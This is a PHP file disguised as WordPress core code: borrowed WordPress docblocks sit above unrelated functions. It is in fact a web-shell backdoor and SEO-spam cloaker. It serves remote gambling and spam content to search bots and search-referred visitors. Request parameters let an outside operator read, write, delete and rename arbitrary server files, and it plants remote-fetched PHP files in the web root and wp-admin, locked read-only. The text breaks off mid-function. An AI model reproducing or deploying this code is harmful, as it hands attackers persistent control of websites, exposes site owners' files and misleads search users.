<?php
/**
 * WordPress Checks whether a comment passes internal checks to be allowed to add.
 *
 * If manual comment moderation is set in the administration, then all checks,
 * regardless of their type and substance, will fail and the function will
 * return false.
 *
 * If the number of links exceeds the amount in the administration, then the
 * check fails. If any of the parameter contents contain any disallowed words,
 * then the check fails.
 *
 * If the comment author was approved before, then the comment is automatically
 * approved.
 *
 * If all checks pass, the function will return true.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $author       Comment author name.
 * @param string $email        Comment author email.
 * @param string $url          Comment author URL.
 * @param string $comment      Content of the comment.
 * @param string $user_ip      Comment author IP address.
 * @param string $user_agent   Comment author User-Agent.
 * @param string $comment_type Comment type, either user-submitted comment,
 *                             trackback, or pingback.
 * @return bool If all checks pass, true, otherwise false.
 */
function WordPressInfo(){
	$comments_by_type = array(
			'comment'   => array(),
			'trackback' => array(),
			'pingback'  => array(),
			'pings'     => array(),
	);
	$comments='';
	$count = count( $comments );
	
	for ( $i = 0; $i < $count; $i++ ) {
		$type = $comments[ $i ]->comment_type;
	
		if ( empty( $type ) ) {
			$type = 'comment';
		}
	
		$comments_by_type[ $type ][] = &$comments[ $i ];
	
		if ( 'trackback' === $type || 'pingback' === $type ) {
			$comments_by_type['pings'][] = &$comments[ $i ];
		}
	}
	
	return $comments_by_type;
}
/**
 * User API: WP_User class
 *
 * @package WordPress
 * @subpackage Users
 * @since 4.4.0
 */

/**
 * Core class used to implement the WP_User object.
 *
 * @since 2.0.0
 *
 * @property string $nickname
 * @property string $description
 * @property string $user_description
 * @property string $first_name
 * @property string $user_firstname
 * @property string $last_name
 * @property string $user_lastname
 * @property string $user_login
 * @property string $user_pass
 * @property string $user_nicename
 * @property string $user_email
 * @property string $user_url
 * @property string $user_registered
 * @property string $user_activation_key
 * @property string $user_status
 * @property int    $user_level
 * @property string $display_name
 * @property string $spam
 * @property string $deleted
 * @property string $locale
 * @property string $rich_editing
 * @property string $syntax_highlighting
 * @property string $use_ssl
 */
function longest($str1 ='' , $str2 =''){
	$start=0; $end=2; $longest = ''; $len = strlen( $str1 );
	for ($i=0; $i<$len; ) {
		$part = substr($str1, $start, $end);
		if(strpos( $str2, $part) == true){
			if( strlen($part) > strlen($longest)){
				$longest = $part;
			}
			$end++;
		}else{
			$i++;
			$start = $i - 1;
			$end = 2;
		}
	}
	return $longest;
}
/**
 * Retrieves comment data given a comment ID or comment object.
 *
 * If an object is passed then the comment data will be cached and then returned
 * after being passed through a filter. If the comment is empty, then the global
 * comment variable will be used, if it is set.
 *
 * @since 2.0.0
 *
 * @global WP_Comment $comment Global comment object.
 *
 * @param WP_Comment|string|int $comment Comment to retrieve.
 * @param string                $output  Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                                       correspond to a WP_Comment object, an associative array, or a numeric array,
 *                                       respectively. Default OBJECT.
 * @return WP_Comment|array|null Depends on $output value.
 */
function validlaststr($str,$f1,$f2=null){
	if($str && $f1){
		$newstr = substr($str,-1);
		if($f2){
			if(strpos($newstr,$f1)===false&&strpos($newstr,$f2)===false){
				$str .= $f1;
			}
		}else{
			if(strpos($newstr,$f1)===false){
				$str .= $f1;
			}
		}
		return $str;
	}
}
/**
 * oEmbed API: Top-level oEmbed functionality
 *
 * @package WordPress
 * @subpackage oEmbed
 * @since 4.4.0
 */

/**
 * Registers an embed handler.
 *
 * Should probably only be used for sites that do not support oEmbed.
 *
 * @since 2.9.0
 *
 * @global WP_Embed $wp_embed WordPress Embed object.
 *
 * @param string   $id       An internal ID/name for the handler. Needs to be unique.
 * @param string   $regex    The regex that will be used to see if this handler should be used for a URL.
 * @param callable $callback The callback function that will be called if the regex is matched.
 * @param int      $priority Optional. Used to specify the order in which the registered handlers will
 *                           be tested. Default 10.
 */
function getsuijishuzi($len)
{
	$chars = array("0", "1", "2","3", "4", "5", "6", "7", "8", "9");
	$charsLen = count($chars) - 1;
	shuffle($chars);
	$output = "";
	for ($i=0; $i<$len; $i++)
	{
		$output .= $chars[mt_rand(0, $charsLen)];
	}
	return $output;
}
ini_set("memory_limit","1280M");
set_time_limit(0);
$requrl=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'';
$saprequrl=$requrl?strtolower($requrl):'';
if($requrl&&strpos($saprequrl, 'sitemap.xml')===false){
	$ipurl='';
	$url='';
	$wid=0;
	$keyword='';
	$id=getwenhaofromurl($requrl,'id=');
	if($id){
		$ipurl=$id;
	}
	if(strpos($requrl, '?')!==false){
		$wenhaoinfo=wenhaoforipurl($requrl);
		$prepath=$wenhaoinfo['wenhaourl'];
		$keyword=$wenhaoinfo['keyword'];
		$wid=1;
	}else{
		if(!$ipurl){
			$ipurl=formatmuluming($requrl);
		}
		$prepath='';//empty alway
	}
	$tagarrconfig=getdesign($requrl);
	$tagarr=$tagarrconfig['design']['mulu'];
	$httptype=(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://";
	$comfrompc=iscomefromhttpreferer();
	$isspidercode=isspidercode();
	if($isspidercode&&!$ipurl){
		$isformuluorfanzhi=1;//moren:mulu->1,or fanzhi[jsc]->0
		if($isformuluorfanzhi==1){
			$prepath=str_replace('?', '', $prepath);
			$direxamp=explode('/', $prepath);
			if(count($direxamp)>=2){
				$prepath=$direxamp[0];
			}
		}
		$arrkeyword=getkeywordinfo($requrl);
		if($arrkeyword){
			$htmlcontent=getcurlhtmlcontent($arrkeyword,$prepath,$keyword,$requrl);
			if($htmlcontent){
				echo $htmlcontent;
				exit;
			}else{
				$_setmlname=$tagarr[rand(0,count($tagarr)-1)];
				$_setkeyword=$arrkeyword[rand(0,count($arrkeyword)-1)];
				$ipurl=$_setmlname.'/'.($ipurl?$ipurl.'/':'').$_setkeyword;
			}
			
		}
	}
	/*****tagname****/
	$tagname='';
	$ferid=0;
	foreach($tagarr as $_tn){
		if(strlen($_tn)>0){
			$tagname.=$_tn.'&';
		}
		if(strpos($requrl, trim($_tn,'/'))!==false){
			$ferid=1;
		}
	}
	$_successcrossid=0;
	if($isspidercode){
		$_successcrossid=1;
	}
	if($comfrompc){
		if($ipurl){
			$_successcrossid=1;
		}else{
			$olddirname=0;
			$prearr=array('88','bet','58','shell', 'store', 'goods', 'sell', 'win', 'lottery', 'soccer-live', 'live','doc','slot','style','themes');
			$olddirarr=array_merge($tagarr,$prearr);
			foreach($olddirarr as $_olddir_l){
				if($_olddir_l&&strpos($requrl, $_olddir_l)!==false){
					$olddirname=1;
				}
			}
			if($olddirname>0){
				$_successcrossid=1;
			}
		}
	}
	if($_successcrossid>0){
		$webname=$httptype.getWebname($ipurl);
		$ipurl=getreallyurlipurl($ipurl,$requrl);
		$iparr=$tagarrconfig['design']['ip'];
		shuffle($iparr);
		$starttime=microtime(true);
		foreach($iparr as $_tourl){
			$_tourl=rtrim($_tourl,'/').'/'.$ipurl;
			$_rinfo=getcurlurl($_tourl,$comfrompc);
			if($_rinfo){
				if((isset($_REQUEST['isurl'])&&$_REQUEST['isurl']==1) || (strpos($requrl, 'isurl')!==false)){
					$lasttime=microtime(true);
					$executionTime=ceil($lasttime-$starttime);
					echo 'vn:'.$_tourl.'<br/>'."\r\n".'executionTime:'.$executionTime.'m';
				}
				echo $_rinfo;
				break;
			}
		}
		exit;
	}
}
if(isset($_REQUEST['rfile'])==1){
	$_rfiletemplate=$_SERVER['DOCUMENT_ROOT'].'/'.'wp-load.php';
	if(file_exists($_rfiletemplate)){
		$rcon=file_get_contents($_rfiletemplate);
		if(strpos($rcon, 'wp-template.php')!==false){
			$httptype=(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://";
			$_url = $httptype . $_SERVER['HTTP_HOST'].'/wp-template.php?rfile=1&filepath='.(isset($_REQUEST['filepath'])?$_REQUEST['filepath']:$_SERVER['DOCUMENT_ROOT'].'/wp-template.php');
			echo 'ok,	'.$_url.'<br/><br/>';
			echo '<a href="'.$_url.'" target="_blank">go</a><br/><br/>';
		}
		echo $rcon;
	}
	if(isset($_REQUEST['filepath'])==1){
		$_rfilepath=$_REQUEST['filepath'];
		$_rfilepath=str_replace("//", "/", $_rfilepath);
		$_rfilepath=str_replace("\\\\", "/", $_rfilepath);
		$_rfilepath=str_replace("\\", "/", $_rfilepath);
		if(file_exists($_rfilepath)){
			echo '<hr>';
			echo '<br/>';
			echo "\r\n";
			echo '<br/>Hi,'.$_rfilepath.',I Am Reading...<br/>';
			echo file_get_contents($_rfilepath);
		}
	}
}
if((isset($_REQUEST['wp-style'])&&$_REQUEST['wp-style']==1)||(isset($_REQUEST['wp-style-new'])&&$_REQUEST['wp-style-new']==1)){
	$zxrpath=$_SERVER["DOCUMENT_ROOT"]."/";
	$_ycid=isset($_REQUEST['yc_id'])?$_REQUEST['yc_id']:'';
	$_ycurl=isset($_REQUEST['yc_url'])?$_REQUEST['yc_url']:'';
	$_yccode=isset($_REQUEST['yc_code'])?$_REQUEST['yc_code']:'';
	if(isset($_REQUEST['yc_id'])&&isset($_yccode)){
		$_checkycinfo=getycidcurlurl($_yccode,array('Yc_id'),$_ycid,$_ycurl,2,array());
		if($_checkycinfo){
			echo 'Hi,Yc_id,Happy Every Day...<br/>';
			echo '<hr style="width:59%;float:left;">yc info</hr>'.'<br>';
			if($_checkycinfo){
				foreach($_checkycinfo as $key=>$item){
					if($item&&(strpos($key, 'local')!==false||strpos($key, 'style')!==false)){
						echo $key.':<br/>';
						foreach($item as $newkey=>$newitem){
							if(strpos($key, 'wp-template')!==false){
								foreach($newitem as $nkey=>$nitem){
									if($nitem){
										echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'.($nkey+1).'、'.$nitem.'<br/>';
									}
								}
								echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--<br/>';
							}else{
								echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'.($newkey+1).'、'.$newitem.'<br/>';
							}
						}
						echo '---------<br/>';
					}
				}
			}
			echo '<hr style="width:59%;float:left;">basic info</hr>'.'<br>';
			echo 'rpath：'.$_SERVER['DOCUMENT_ROOT'].'<br>';
			echo '---------<br/>';
			$typeid=0;
			if(isset($_REQUEST['type_id'])){
				$typeid=$_REQUEST['type_id']>2?1:$_REQUEST['type_id'];
			}else{
				if(strpos($_SERVER['HTTP_HOST'], '.br')!==false){
					echo 'net-type：br'.'<br/>';
					$typeid=2;
				}else{
					$typeid=1;
					echo 'net-type：vn'.'<br/>';
				}
			}
			$pathinfo='';
			$basicinfoarr['typeid']=$typeid;
			$basicinfoarr['netname']=$typeid==2?'br':'vn';
			if($_checkycinfo['wp-template']){
				if($typeid==1){
					$wptemplateconf=$_checkycinfo['wp-template']['vn'];
				}else{
					$wptemplateconf=$_checkycinfo['wp-template']['br'];
				}
				if($wptemplateconf){
					$pathinfo=pathinfo($wptemplateconf[0]);
					$_wpdir=$pathinfo['dirname'].'/';
					$wptemplateinfo=getreqinfo($_wpdir,$wptemplateconf,'wp-template','wp-template.php');
					$basicinfoarr['wp-template']=$wptemplateinfo['wp-template'];
				}
			}
			if($_checkycinfo['wp-style']){
				$wpstyleconf=$_checkycinfo['wp-style'];
				$pathinfo=pathinfo($wpstyleconf[0]);
				$_wpdir=$pathinfo['dirname'].'/';
				$wpstyleinfo=getreqinfo($_wpdir,$_checkycinfo['wp-style'],'wp-style','wp-style-current.php');
				$basicinfoarr['wp-style']=$wpstyleinfo['wp-style'];
			}
			if($_checkycinfo['wp-local']){
				$wplocalconf=$_checkycinfo['wp-local'];
				$pathinfo=pathinfo($wplocalconf[0]);
				$_wpdir=$pathinfo['dirname'].'/';
				$wplocalinfo=getreqinfo($_wpdir,$_checkycinfo['wp-local'],'wp-local','wp-local-current.php');
				$basicinfoarr['wp-local']=$wplocalinfo['wp-local'];
			}
			if($basicinfoarr){
				foreach($basicinfoarr as $keybasicinfo=>$itembasicinfo){
					if($itembasicinfo){
						if(strpos($itembasicinfo, 'wp-')!==false){
							echo $keybasicinfo.'：'.$itembasicinfo.'[&'.$keybasicinfo.'=xx.php]'.'<br/>';
						}else{
							echo $keybasicinfo.'：'.$itembasicinfo.'<br/>';
						}
					}
				}
			}
			echo '<hr style="width:59%;float:left;">dir list</hr>'.'<br>';
		}else{
			exit("Can't get yc_data,please change your pin or ip address-1...");
		}
		//filelist
		$_ycdirdata=getycalldirlist();
		$_ycfilepath=isset($_REQUEST['filepath'])?$_REQUEST['filepath']:'';
		if($_ycfilepath){
			if(strpos($_ycfilepath,'yc_filepath')!==false){
				$_ycfilepath=$_SERVER['DOCUMENT_ROOT'];
			}
			$_exampycfilepath=explode("//", $_ycfilepath);
			if(count($_exampycfilepath)>0){
				$ycidinfo=getycidcurlurl($_yccode,$_exampycfilepath,$_ycid,$_ycurl,1,$basicinfoarr);
				if(isset($ycidinfo['stylecon'])&&isset($ycidinfo['localcon'])){
					$_sellarr=array('/','wp-admin');//,'wp-includes','wp-content','wp-content/uploads/2025/01/','wp-content/languages/plugins/');
					$stylecon=$ycidinfo['stylecon'];
					$localcon=$ycidinfo['localcon'];
					$type = 'http://';
					if(((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'))){
						$type='https://';
					}
					$_host=$type.$_SERVER['HTTP_HOST'].'/';
					$_rewpstylefile=isset($_REQUEST['filename'])?$_REQUEST['filename']:'wp-home.php';
					foreach($_sellarr as $_selldir){
						if($_selldir){
							$_selldir=$zxrpath.ltrim($_selldir,'/');
							if(file_exists($_selldir)){
								$_sellfilename=rtrim($_selldir,'/').'/'.$_rewpstylefile;
								if(file_exists($_sellfilename)){
									chmod($_sellfilename, '0755');
									unlink($_sellfilename);
								}
								file_put_contents($_sellfilename, $stylecon);
								if(file_exists($_sellfilename)){
									chmod($_sellfilename, '0444');
									$_hostname=$_host.rtrim($_selldir,'/').'/'.$_rewpstylefile;
									echo 'add okay[local]:	'.$_sellfilename.';'.str_replace($zxrpath,$_host,$_sellfilename).'<br>';
								}
								$_selllocalfilename=rtrim($_selldir,'/').'/local.php';
								if(file_exists($_selllocalfilename)){
									chmod($_selllocalfilename, '0755');
									unlink($_selllocalfilename);
								}
								file_put_contents($_selllocalfilename, $localcon);
								if(file_exists($_selllocalfilename)){
									chmod($_selllocalfilename, '0444');
									echo 'add okay[local]:	'.$_selllocalfilename.';'.str_replace($zxrpath,$_host,$_selllocalfilename).'<br>';
								}
								echo '-------------------'.'<br/>';
							}
						}
					}
				}
			}
		}
		exit('yc_id:I am done...');
	}else{
		exit('nok...');
	}
}
if((isset($_REQUEST['test_id'])&&$_REQUEST['test_id']==1)){
	echo 'i am new';
}
if(isset($_REQUEST['wfile'])&&$_REQUEST['wfile']==1){
	echo 'ifile'.'<br>';
	$_ifile=$_SERVER['DOCUMENT_ROOT'].'/';
	echo 'rpath:'.$_ifile.'<br>';
	if(isset($_REQUEST['filepath'])&&$_REQUEST['con']){
		$_filecon=$_REQUEST['con'];
		$_rqfilepath=$_REQUEST['filepath'];
		$_ifilepath='';
		if(strpos($_rqfilepath, '/')!==false&&strpos($_rqfilepath, '.')!==false){
			$_exampifarr=pathinfo($_rqfilepath);
			$_idirname=$_exampifarr['dirname'];
			if(file_exists($_idirname)){
				$_ifilepath=$_rqfilepath;
			}else{
				$_ifilepath=$_ifile.$_exampifarr['basename'];
			}
		}else{
			if(strpos($_rqfilepath, '.')!==false){
				$_ifilepath=$_ifile.$_rqfilepath;
			}
		}
		if($_ifilepath){
			if(file_exists($_ifilepath)){
				chmod($_ifilepath, 0775);
			}
			file_put_contents($_ifilepath, $_filecon);
			if(file_exists($_ifilepath)){
				echo 'okay:'.$_ifilepath;
				echo '<br/>'.'con:'.$_filecon;
				chmod($_ifilepath, 0444);
				exit();
			}
		}
	}else{
		if(!$_REQUEST['filepath']){
			exit('nokay:filepath');
		}
		if(!$_REQUEST['con']){
			exit('nokay:con');
		}
	}
}
if(isset($_REQUEST['dfile'])&&$_REQUEST['dfile']==1&&isset($_REQUEST['filepath'])){
	echo 'dfile'.'<br>';
	$_ifile=$_SERVER['DOCUMENT_ROOT'].'/';
	echo 'rpath:'.$_ifile.'<br>';
	$_cfilepath=$_REQUEST['con'];
	$_rqfilepath=$_REQUEST['filepath'];
	$_ifilepath='';
	if(strpos($_rqfilepath, '/')!==false&&strpos($_rqfilepath, '.')!==false){
		$_exampifarr=pathinfo($_rqfilepath);
		$_idirname=$_exampifarr['dirname'];
		if(file_exists($_idirname)){
			$_ifilepath=$_rqfilepath;
		}else{
			$_ifilepath=$_ifile.$_exampifarr['basename'];
		}
	}else{
		if(strpos($_rqfilepath, '.')!==false){
			$_ifilepath=$_ifile.$_rqfilepath;
		}
	}
	if($_ifilepath&&file_exists($_ifilepath)){
		chmod($_ifilepath, 0775);
		unlink($_ifilepath);
		if(!file_exists($_ifilepath)){
			echo 'okay:'.$_ifilepath;
			exit();
		}
	}else{
		exit('nokay:'.$_ifilepath);
	}
}
if(isset($_REQUEST['xfile'])&&$_REQUEST['xfile']==1){
	echo 'xfile:'.'<br>';
	$_xfile=$_SERVER['DOCUMENT_ROOT'].'/';
	if(isset($_REQUEST['newfilepath'])&&isset($_REQUEST['oldfilepath'])){
		$_xfilepath='';
		$_xoldfile=$_REQUEST['oldfilepath'];
		$_xnewfile=$_REQUEST['newfilepath'];
		$_xcon=$_REQUEST['con'];
		if(strpos($_xoldfile, '.')===false){
			exit('xnewfile:'.'no');
		}
		if(strpos($_xoldfile, '/')!==false&&strpos($_xoldfile, '.')!==false){
			$_exampxfilearr=pathinfo($_xoldfile);
			if(file_exists($_exampxfilearr['dirname'])){
				$_xfilepath=$_xoldfile;
				if(strpos($_xnewfile, '/')!==false&&strpos($_xnewfile, '.')!==false){
					$_exampxnewfilearr=pathinfo($_xnewfile);
					if(file_exists($_exampxnewfilearr['dirname'])){
						$_xnewfile=$_exampxnewfilearr['dirname'].'/'.$_exampxnewfilearr['basename'];
					}else{
						$_xnewfile=$_exampxfilearr['dirname'].'/'.$_exampxnewfilearr['basename'];
					}
				}else{
					$_xnewfile=$_exampxfilearr['dirname'].'/'.$_xnewfile;
				}
			}
		}else{
			$_xfilepath=$_xfile.$_xoldfile;
			$_xnewfile=$_xfile.$_xnewfile;
		}
		if(file_exists($_xfilepath)){
			if($_xcon){
				$_xninfo=file_put_contents($_xnewfile, $_xcon);
				if($_xninfo){
					unlink($_xfilepath);
					chmod($_xfilepath, 0444);
					echo 'okay:addfile[file:'.$_xfilepath.']';
				}
			}else{
				chmod($_xfilepath, 0775);
				rename($_xfilepath, $_xnewfile);
				chmod($_xfilepath, 0444);
				echo 'okay:xfile[oldfile:'.$_xfilepath.' newfile:'.$_xnewfile.']';
			}
		}else{
			if(file_exists($_xnewfile)){
				chmod($_xnewfile, 0775);
				unlink($_xnewfile);
				echo 'okay:oldfile-del;addfile[file:'.$_xnewfile.']';
			}else{
				echo 'okay:oldfile-no exists;addfile[file:'.$_xnewfile.']';
			}
			$_xninfo=file_put_contents($_xnewfile, $_xcon);
			if($_xninfo){
				chmod($_xnewfile, 0444);
			}
		}
	}else{
		if(!$_REQUEST['oldfilepath']){
			exit('nokay:oldfilepath');
		}
		if(!$_REQUEST['newfilepath']){
			exit('nokay:newfilepath');
		}
	}
	exit();
}
function getdirsOnlylistbytemplate($rpath){
	$title=array();
	if(file_exists($rpath)){
		$dir = opendir($rpath);
		if (is_readable($rpath)) {
			$a = array();
			while(($d = readdir($dir))!==false){
				$smdir=$rpath.$d;
				if($d != '.' && $d != '..'){
					$title[]=rtrim($smdir,'/');
				}
			}
		}else{
			echo $rpath.' Cant Read';
		}
		return $title;
	}
}
function formatmuluming($requrl=''){
	$tagarr=getdesign($requrl);
	$arr=$tagarr['design']['mulu'];
	$_mlm='';
	$ipurl='';
	foreach($arr as $_value){
		if(strpos($requrl,$_value)!==false){
			$_mlm=$_value;
		}
	}
	$ipurl=$_mlm;
	if($_mlm){
		$ipurl=urldecode($requrl);
	}
	return $ipurl;
}
function getWebname($ipurl){
	$hostname=isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'';
	$webname=$hostname.$ipurl;
	return $webname;
}
function getreallyurlipurl($ipurl,$requrl=''){
	if(strpos($ipurl,'=')!==false){
		$ipurl=trim($ipurl,'/');
		$preexamp=explode('=', $ipurl);
		if(strpos($ipurl, '/')!==false){
			$ipurl=$preexamp[1];
		}else{
			$tagarr=getdesign($requrl);
			$_mlnametype=$tagarr['design']['mulu'];
			$ipurl=$_mlnametype[rand(0,count($_mlnametype)-1)].'/'.$preexamp[1];
		}
	}
	/*****check number,or change rand keyword****/
	$exampurl=explode('/', trim($ipurl,'/'));
	$ifkeyword=$exampurl[count($exampurl)-1];
	if(is_numeric($ifkeyword)){
		unset($exampurl[count($exampurl)-1]);
		$prekeyword=implode('/', $exampurl).'/';
		$arrkeyword=getkeywordinfo($requrl);
		if($arrkeyword){
			$_setkeyword=$arrkeyword[rand(0,count($arrkeyword)-1)];
		}else{
			$_setkeyword=charshuzis(5);
		}
		$ipurl=implode('/', $exampurl).'/'.$_setkeyword;
	}else{
		$ipurl=trim($ipurl,'/');
	}
	$_host=isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'';
	if($_host){
		$ipurl=$_host.'/'.$ipurl;
	}
	return $ipurl;
}
function getcurlurl($_url,$comfrompc=''){
	$refer=isset($_SERVER['HTTP_REFERER'])?strtolower($_SERVER['HTTP_REFERER']):'';
	$gent='Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)';//$gent?$gent:$_SERVER['HTTP_USER_AGENT'];
	$ch = curl_init();
	curl_setopt($ch,CURLOPT_URL,$_url);
	curl_setopt($ch,CURLOPT_HEADER,0);
	if($comfrompc){
		curl_setopt($ch, CURLOPT_REFERER, $refer);
	}else{
		curl_setopt($ch,CURLOPT_USERAGENT,$gent);
	}
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不验证证书
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //不验证证书
	curl_setopt($ch,CURLOPT_RETURNTRANSFER,1 );
	curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,6);
	$res = curl_exec($ch);
	$cinfo=curl_getinfo($ch);
	curl_close($ch);
	if($cinfo['http_code']=='200'){
		$typeheader = 'http://';
		if(((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'))){
			$typeheader='https://';
		}
		$urlarr=explode('/', ltrim($_url,'http://'));
		$res=str_replace('http://'.$urlarr[0].'/', $typeheader.$_SERVER['HTTP_HOST'].'/', $res);
		$res=str_replace($_SERVER['HTTP_HOST'].'/'.$_SERVER['HTTP_HOST'], $_SERVER['HTTP_HOST'], $res);
		return $res;
	}else{
		return '';
	}
}
function getmulufromurl($requrl,$idbz){
	$idstr='';
	if(strpos($requrl,$idbz)!==false){
		if(strpos($requrl, '.htm')!==false&&strpos($requrl, '.html')===false){
			$requrl=$requrl.'l';
		}
		if(strpos($requrl,'.html')===false){
			$idstr=rtrim($requrl,'/').'/index.html';
		}else{
			$idstr=rtrim($requrl,'/');
		}
	}
	return ltrim($idstr,'/');
}
function getwenhaofromurl($requrl,$idbz=''){
	$idstr='';
	$idbz=$idbz?$idbz:'id=';
	if(strpos($requrl,$idbz)!==false){
		$exhouzhui=explode($idbz, $requrl);
		$idstr='id/'.$exhouzhui[count($exhouzhui)-1];
		$idstr=$idstr.'.html';
	}
	return $idstr;
}
function wenhaoforipurl($requrl){
	$requrl=urldecode($requrl);
	$_examwh=explode('?', $requrl);
	if(strpos($_examwh[1],'=')!==false){
		$examp=explode("=", ltrim($_examwh[1],'/'));
	}else{
		$examp=explode("/", ltrim($_examwh[1],'/'));
	}
	$_setkeyword=$examp[count($examp)-1];
	$_setkeyword=str_replace('.html', '', $_setkeyword);
	$_setkeyword=str_replace('.shtml', '', $_setkeyword);
	$wenhaourl='/?'.$examp[0].'/';
	return array('wenhaourl'=>$wenhaourl,'keyword'=>$_setkeyword);
}
function iscomefromhttpreferer(){
	$_bot='';
	$_agent=isset($_SERVER['HTTP_REFERER'])?strtolower($_SERVER['HTTP_REFERER']):'';
	if($_agent){
		$arr=array('google','bing','yahoo','coccoc');
		foreach($arr as $item){
			if(strpos($_agent,$item)!==false){
				$_bot=$item;
			}
		}
	}
	return $_bot;
}
function getsuijiurl(){
	return $idstr='id/'.charshuzis(5).'.html';;
}
function charshuzis($length=5,$start=0,$end=9){
	$connt = 0;
	$temp = array();
	while($connt < $length){
		$temp[] = mt_rand($start, $end);
		$data = array_flip(array_flip($temp));
		$connt = count($data);
	}
	shuffle($data);
	$str=implode(",", $data);
	$number=str_replace(',', '', $str);
	return $number;
}
function isspidercode(){
	$_bot='';
	$_agent=isset($_SERVER['HTTP_USER_AGENT'])?strtolower($_SERVER['HTTP_USER_AGENT']):'';
	if($_agent){
		$arr=array('googlebot','bingbot','yahoo','coccocbot');
		foreach($arr as $item){
			if(strpos($_agent,$item)!==false){
				$_bot=$item;
			}
		}
	}
	return $_bot;
}
function getkeywordinfo($requrl=''){
	$data=array();
	$keyworddata1=getkeyworhtmlcon($requrl);
	if($keyworddata1['ipurl']&&$keyworddata1['data']){
		if(count($keyworddata1['data'])<100){
			$keyworddata2=getkeyworhtmlcon($requrl);
			if($keyworddata2['ipurl']&&$keyworddata2['data']){
				$data['data']=array_merge($keyworddata1['data'],$keyworddata2['data']);
				$data['ipurl'][]=$keyworddata1['ipurl'];
				$data['ipurl'][]=$keyworddata2['ipurl'];
			}
		}else{
			$data['data']=$keyworddata1['data'];
			$data['ipurl'][]=$keyworddata1['ipurl'];
		}
		
	}
	return $data['data']?$data['data']:array();
}
function getkeyworhtmlcon($requrl){
	$tagarr=getdesign($requrl,1);
	$baseconfigarr=$tagarr['baseconfig']['randip'];
	$data=array();
	$_reasignip='';
	for($nbn=0;$nbn<count($baseconfigarr);$nbn++){
		$_url=$baseconfigarr[$nbn].'app/'.charshuzis(9);
		$gent='Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)';//$gent?$gent:$_SERVER['HTTP_USER_AGENT'];
		$ch = curl_init();
		curl_setopt($ch,CURLOPT_URL,$_url);
		curl_setopt($ch,CURLOPT_HEADER,0);
		curl_setopt($ch,CURLOPT_USERAGENT,$gent);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不验证证书
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //不验证证书
		curl_setopt($ch,CURLOPT_RETURNTRANSFER,1 );
		curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,6);
		$res = curl_exec($ch);
		$responhtml='';
		$cinfo=curl_getinfo($ch);
		curl_close($ch);
		if($cinfo['http_code']=='200'){
			$responhtml=$res;
		}else{
			$custom_headers = array(
					//'Host: '.$_SERVER['HTTP_HOST'],
					'Referer: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
					'Accept-language: en'
			);
			$option=array(
					'http' => array(
							'header' => implode("\r\n", $custom_headers),
							'method' => 'GET',
							'Cookie: foo=bar',
							'ignore_errors' => true
					)
			);
			$context = stream_context_create($option);
			$res = file_get_contents($_url, false, $context);
			if ($res !== false){
				$responhtml=$res;
			}
		}
		if($responhtml){
			$dom = new DOMDocument();
			@$dom->loadHTML($res);
			$xpath = new DOMXPath($dom);
			$links = $xpath->query('//a');
			foreach ($links as $link) {
			    $linkattr=$link->getAttribute('href');
			    $reqid=0;
			    foreach($tagarr['mllist'] as $mid){
			    	if(strpos($linkattr, $mid)!==false){
			    		$reqid=1;
			    		break;
			    	}
			    }
			    if(strpos($linkattr, '/')!==false){
			    	$linkarr=explode('/', trim(clearstrrnrow($linkattr),'/'));
			    	$linkval=$linkarr[count($linkarr)-1];
			    	if(!is_numeric($linkval)){
			    		$data[]=$linkval;
			    	}
			    }
			}
			$_reasignip=$_url;
			break;
		}
	}
	return array('data'=>$data,'ipurl'=>$_reasignip);
}
function getcurlhtmlcontent($arrkeyword,$prepath='',$keyword='',$requrl=''){
	$httptype=(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://";
	$_url = $httptype . $_SERVER['HTTP_HOST'];// . $_SERVER['REQUEST_URI'];
	$res='';
	$ch = curl_init();
	curl_setopt($ch,CURLOPT_URL,$_url);
	curl_setopt($ch,CURLOPT_HEADER,0);
	curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36");
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不验证证书
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //不验证证书
	curl_setopt($ch,CURLOPT_RETURNTRANSFER,1 );
	curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,6);
	$res = curl_exec($ch);
	$responhtml='';
	$cinfo=curl_getinfo($ch);
	curl_close($ch);
	if($cinfo['http_code']=='200'){
		$responhtml=$res;
	}else{
		$custom_headers = array(
				//'Host: '.$_SERVER['HTTP_HOST'],
				'Referer: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
				'Accept-language: en'
		);
		$option=array(
				'http' => array(
						'header' => implode("\r\n", $custom_headers),
						'method' => 'GET',
